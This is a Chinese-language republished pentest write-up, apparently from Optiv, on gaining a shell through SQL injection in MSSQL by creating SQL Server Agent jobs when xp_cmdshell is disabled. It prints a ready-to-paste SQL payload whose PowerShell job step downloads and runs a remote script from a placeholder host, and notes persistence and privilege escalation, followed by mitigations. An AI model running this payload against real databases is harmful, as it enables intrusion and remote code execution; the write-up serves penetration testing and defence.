热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【技术分享】MSSQL注入时通过AgentJob执行命令的方法

安全客技术点评因为MSSQL2005以后的版本默认禁止了XP_CMDSHELL,如果服务器开

安全客技术点评

因为MSSQL 2005以后的版本默认禁止了XP_CMDSHELL,如果服务器开启了MSSQL Agent Job服务,并且有权限新建和执行agent jobs的话,配合cobaltstrike的powershell payload会返回一个SQLSERVERAGENT权限的shell。操作的具体步骤可以参考视频,实际操作的时候需注意URL编码问题。

写在前面的话

Optiv渗透测试(A&P)团队的主要目标就是通过模拟恶意黑客的攻击行为来测试公司的安全防御的有效性。所谓安全测试,就是要通过模拟真实的攻击场景对企业或组织的安全解决方案进行多方面的评估。这种类型的安全评估不仅可以帮助组织确定自己的信息安全防护能力,还可以帮助他们提升系统的安全性。除此之外,安全研究人员还可以在测试过程中找出那些安全意识薄弱的雇员,企业就可以对这部分人进行额外的安全培训,以尽可能地避免因不安全的人为操作而导致的安全事件发生。

实际上在信息安全领域中,攻击者和防御者一直都在玩着一种“猫捉老鼠”的游戏,而且信息安全攻防也是一场永无止境的“军备竞赛”。恶意攻击者会使用新型的攻击手段来发动攻击,而安全专家又需要针对这些攻击方法来设计并部署相应的检测和防御措施。因此,从安全防御的角度出发,企业或组织应该以一种积极主动的态度来与网络恶势力对抗。各个组织应当要能够识别新型的攻击,并且提前采取适当的措施来抵御这些攻击,这就是我们所说的“先发制人”。

http://p5.qhimg.com/t019ea996b7ee0695f4.png

长期以来,Optiv公司的A&P团队无论在攻击端还是防御端都一直保持着自己的技术专业性,而且Optiv公司提供给用户的安全防御方法可以有效地检测并防御新型的网络攻击。如果组织想要在这个不断变化的安全威胁环境中生存下来,那么就必须要有一个专业的安全团队来帮助他们评估攻击者可能会采用的攻击策略、攻击技术、以及攻击过程(TTP),并且在安全团队的帮助下,利用这些评估数据来提升自己的安全性。在这种情况下,Optiv公司也许是一个最合适的选择。


未被发现的攻击

现在,很多攻击者在发动恶意攻击的时候已经不会单纯地去追求成功率了,因为他们还需要保证自己的攻击活动不被检测到。如果企业在检测和发现数据泄漏的过程中耗费的时间越久,那么攻击者就会有更多的时间去识别并提取系统中的敏感数据。不仅如此,攻击者甚至还可以利用这个被入侵的网络系统来作为一个支点,并进行其他的恶意攻击活动。

Optiv公司的A&P团队会设计并实施一些高级的网络攻击,而我们的目标就是通过这些攻击来发现防御端与攻击端之间的差距,并帮助组织提升安全防护能力。


微软的SQL Server Agent

近期,Optiv公司的安全研究专家发现了一种新型的攻击手段。如果MSSQL数据库中开启了MSSQL Server Agent Job服务的话,攻击者将可以利用MSSQL Server中自带的功能来获取一个shell。

http://p6.qhimg.com/t0194c7160a71e864ba.png

MSSQL Server代理是一个Windows服务,它可以被用来执行自动化任务。管理员可以设置定时代理作业,然后在MSSQL Server代理服务中执行这些定时作业。但是,如果使用了代理的话,这些作业(job)就可以使用不同的证书来执行了。


攻击浅析

在近期的一次安全分析中,研究人员在一个使用了MSSQL Server 2012的Web应用中发现了一个SQL注入漏洞。在客户的要求下,Optiv以一种非公开的方式对目标进行了安全评估,并且在评估的过程中尽可能地避免被检测到。Optiv设计出了一种新的攻击方法,研究人员可以利用MSSQL Server中的本地功能来在Windows操作系统中执行任意命令。在整个测试过程中,xp_cmdshell存储过程已被禁用了,并且限制了创建自定义存储过程的能力

当xp_cmdshell扩展存储过程在攻击中被使用时,大多数安全监控或检测系统都会产生警报。而攻击者和渗透测试人员对xp_cmdshell的滥用已经导致很多组织和企业开始禁用或限制xp_cmdshell了。

Optiv发现了一种攻击场景,攻击者或可利用MSSQL Server代理来在目标数据库服务器中执行任意控制命令。但是,目标服务器必须满足一下几个条件:

1. 目标服务器必须开启了MSSQL Server代理服务;

2. 服务器中当前运行的用户账号必须拥有足够的权限去创建并执行代理作业;

Optiv已经发现了两个攻击者可以利用的MSSQL代理作业子系统:CmdExec和PowerShell子系统,这两个功能可以分别用来执行操作系统命令和PowerShell脚本。

http://p1.qhimg.com/t010ca452b13384d0b5.png

Optiv的安全研究专家可以使用SQL注入点来创建并执行代理任务。任务所需执行的命令是一段PowerShell代码,这段代码可以让目标系统与一个受Optiv控制的IP地址进行通信连接,然后下载额外的PowerShell指令。这样一来,就可以在目标数据库服务器与Optiv控制的服务器之间建立一条可交互的命令控制会话了。

下面这张代码截图显示的是已被拆分的SQL语句。请注意,在下面这段下载命令中,URI位于两个单引号之间,而不是之前的双引号。这样做是为了在SQL语句中转义单引号

http://p8.qhimg.com/t01a4007410a27f8876.png

USE msdb; EXEC dbo.sp_add_job @job_name = N'test_powershell_job1' ; EXEC sp_add_jobstep @job_name = N'test_powershell_job1', @step_name = N'test_powershell_name1', @subsystem = N'PowerShell', @command = N'powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(''http://IP_OR_HOSTNAME/file''))"', @retry_attempts = 1, @retry_interval = 5 ;EXEC dbo.sp_add_jobserver @job_name = N'test_powershell_job1'; EXEC dbo.sp_start_job N'test_powershell_job1';

如果你想要复现攻击场景的话,上面这段代码可以方便你进行复制粘贴。接下来,我们将通过下面的例子来给大家进行攻击演示。


攻击示例

如下图所示,SQL语句已经进行了URL编码处理。在这个攻击示例中,攻击是通过HTTP GET请求来发送的,因此我们需要对攻击payload进行URL编码。

http://p8.qhimg.com/t0115e0a10ffcc08ae9.png

大家可以看到,我们在HTTP GET请求的参数中添加了SQL注入payload,这样我们就可以使用SQL注入了。(请注意我们在payload的开头处添加的%20(空格符))

http://p5.qhimg.com/t01d605277d59d484c7.png

当payload运行之后,我们就可以看到命令控制会话已经建立成功了,并且使用的是“SQLSERVERAGENT”账号的权限。

http://p4.qhimg.com/t0178656d6216be39b2.png

在目标主机的SQL Server中,我们可以看到SQL代理作业已经创建成功了。

http://p7.qhimg.com/t01d5d9eae11c68b2d6.png

我们在这里给大家提供了一个完整的攻击演示视频:


攻击过后的安全剖析

如果目标主机运行了MSSQL代理服务,并且代理服务使用的用户账号可以访问其他的MSSQL Server的话,那么攻击者就可以利用这种攻击来在其他的MSSQL Server中执行MSSQL Server代理作业了。除此之外,攻击者还可以设置定时代理作业,这也就意味着,攻击者不仅可以利用这种方式来躲避安全检测,而且还可以实现对目标MSSQL Server的持久化控制。

在某些情况下,如果MSSQL Server代理服务使用的是权限更高的用户账号,那么攻击者就可以通过这种攻击来实现提权。


攻击缓解方案

http://p3.qhimg.com/t015f2a0d515889dd2f.png

常用的Web应用安全保护策略应该都可以防止这种类似SQL注入的攻击。用户应该在Web应用中使用事先定义好的SQL查询语句,然后从后台数据库中提取出Web应用的事务处理逻辑。除此之外,用户也应该部署Web应用防火墙来检测并阻止这种攻击。

如果内部系统无需直接访问互联网主机的话,用户应该直接阻止这类操作,这样就可以防止攻击者在组织内部服务器与外部恶意服务器之间建立通信连接了。除此之外,管理员也应该部署严格的数据输出过滤策略

由于攻击者可以利用MSSQL Server代理作业来在其他的数据库服务器中执行SQL查询操作,那么为了限制这种攻击,我们就要严格控制数据库用户账号的权限,即按照“最小权限原则”来分配账号权限。


推荐阅读
  • 本文介绍了如何使用php限制数据库插入的条数并显示每次插入数据库之间的数据数目,以及避免重复提交的方法。同时还介绍了如何限制某一个数据库用户的并发连接数,以及设置数据库的连接数和连接超时时间的方法。最后提供了一些关于浏览器在线用户数和数据库连接数量比例的参考值。 ... [详细]
  • 如何使用Java获取服务器硬件信息和磁盘负载率
    本文介绍了使用Java编程语言获取服务器硬件信息和磁盘负载率的方法。首先在远程服务器上搭建一个支持服务端语言的HTTP服务,并获取服务器的磁盘信息,并将结果输出。然后在本地使用JS编写一个AJAX脚本,远程请求服务端的程序,得到结果并展示给用户。其中还介绍了如何提取硬盘序列号的方法。 ... [详细]
  • 利用Visual Basic开发SAP接口程序初探的方法与原理
    本文介绍了利用Visual Basic开发SAP接口程序的方法与原理,以及SAP R/3系统的特点和二次开发平台ABAP的使用。通过程序接口自动读取SAP R/3的数据表或视图,在外部进行处理和利用水晶报表等工具生成符合中国人习惯的报表样式。具体介绍了RFC调用的原理和模型,并强调本文主要不讨论SAP R/3函数的开发,而是针对使用SAP的公司的非ABAP开发人员提供了初步的接口程序开发指导。 ... [详细]
  • 基于PgpoolII的PostgreSQL集群安装与配置教程
    本文介绍了基于PgpoolII的PostgreSQL集群的安装与配置教程。Pgpool-II是一个位于PostgreSQL服务器和PostgreSQL数据库客户端之间的中间件,提供了连接池、复制、负载均衡、缓存、看门狗、限制链接等功能,可以用于搭建高可用的PostgreSQL集群。文章详细介绍了通过yum安装Pgpool-II的步骤,并提供了相关的官方参考地址。 ... [详细]
  • 本文详细介绍了SQL日志收缩的方法,包括截断日志和删除不需要的旧日志记录。通过备份日志和使用DBCC SHRINKFILE命令可以实现日志的收缩。同时,还介绍了截断日志的原理和注意事项,包括不能截断事务日志的活动部分和MinLSN的确定方法。通过本文的方法,可以有效减小逻辑日志的大小,提高数据库的性能。 ... [详细]
  • 本文介绍了Python高级网络编程及TCP/IP协议簇的OSI七层模型。首先简单介绍了七层模型的各层及其封装解封装过程。然后讨论了程序开发中涉及到的网络通信内容,主要包括TCP协议、UDP协议和IPV4协议。最后还介绍了socket编程、聊天socket实现、远程执行命令、上传文件、socketserver及其源码分析等相关内容。 ... [详细]
  • 本文介绍了解决Netty拆包粘包问题的一种方法——使用特殊结束符。在通讯过程中,客户端和服务器协商定义一个特殊的分隔符号,只要没有发送分隔符号,就代表一条数据没有结束。文章还提供了服务端的示例代码。 ... [详细]
  • 搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的详细步骤
    本文详细介绍了搭建Windows Server 2012 R2 IIS8.5+PHP(FastCGI)+MySQL环境的步骤,包括环境说明、相关软件下载的地址以及所需的插件下载地址。 ... [详细]
  • Centos7.6安装Gitlab教程及注意事项
    本文介绍了在Centos7.6系统下安装Gitlab的详细教程,并提供了一些注意事项。教程包括查看系统版本、安装必要的软件包、配置防火墙等步骤。同时,还强调了使用阿里云服务器时的特殊配置需求,以及建议至少4GB的可用RAM来运行GitLab。 ... [详细]
  • 知识图谱——机器大脑中的知识库
    本文介绍了知识图谱在机器大脑中的应用,以及搜索引擎在知识图谱方面的发展。以谷歌知识图谱为例,说明了知识图谱的智能化特点。通过搜索引擎用户可以获取更加智能化的答案,如搜索关键词"Marie Curie",会得到居里夫人的详细信息以及与之相关的历史人物。知识图谱的出现引起了搜索引擎行业的变革,不仅美国的微软必应,中国的百度、搜狗等搜索引擎公司也纷纷推出了自己的知识图谱。 ... [详细]
  • 本文介绍了Hyperledger Fabric外部链码构建与运行的相关知识,包括在Hyperledger Fabric 2.0版本之前链码构建和运行的困难性,外部构建模式的实现原理以及外部构建和运行API的使用方法。通过本文的介绍,读者可以了解到如何利用外部构建和运行的方式来实现链码的构建和运行,并且不再受限于特定的语言和部署环境。 ... [详细]
  • 本文介绍了通过ABAP开发往外网发邮件的需求,并提供了配置和代码整理的资料。其中包括了配置SAP邮件服务器的步骤和ABAP写发送邮件代码的过程。通过RZ10配置参数和icm/server_port_1的设定,可以实现向Sap User和外部邮件发送邮件的功能。希望对需要的开发人员有帮助。摘要长度:184字。 ... [详细]
  • 如何在服务器主机上实现文件共享的方法和工具
    本文介绍了在服务器主机上实现文件共享的方法和工具,包括Linux主机和Windows主机的文件传输方式,Web运维和FTP/SFTP客户端运维两种方式,以及使用WinSCP工具将文件上传至Linux云服务器的操作方法。此外,还介绍了在迁移过程中需要安装迁移Agent并输入目的端服务器所在华为云的AK/SK,以及主机迁移服务会收集的源端服务器信息。 ... [详细]
  • 本文介绍了在使用Python中的aiohttp模块模拟服务器时出现的连接失败问题,并提供了相应的解决方法。文章中详细说明了出错的代码以及相关的软件版本和环境信息,同时也提到了相关的警告信息和函数的替代方案。通过阅读本文,读者可以了解到如何解决Python连接服务器失败的问题,并对aiohttp模块有更深入的了解。 ... [详细]
  • 本文介绍了在Windows环境下如何配置php+apache环境,包括下载php7和apache2.4、安装vc2015运行时环境、启动php7和apache2.4等步骤。希望对需要搭建php7环境的读者有一定的参考价值。摘要长度为169字。 ... [详细]
author-avatar
尚庆湃
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有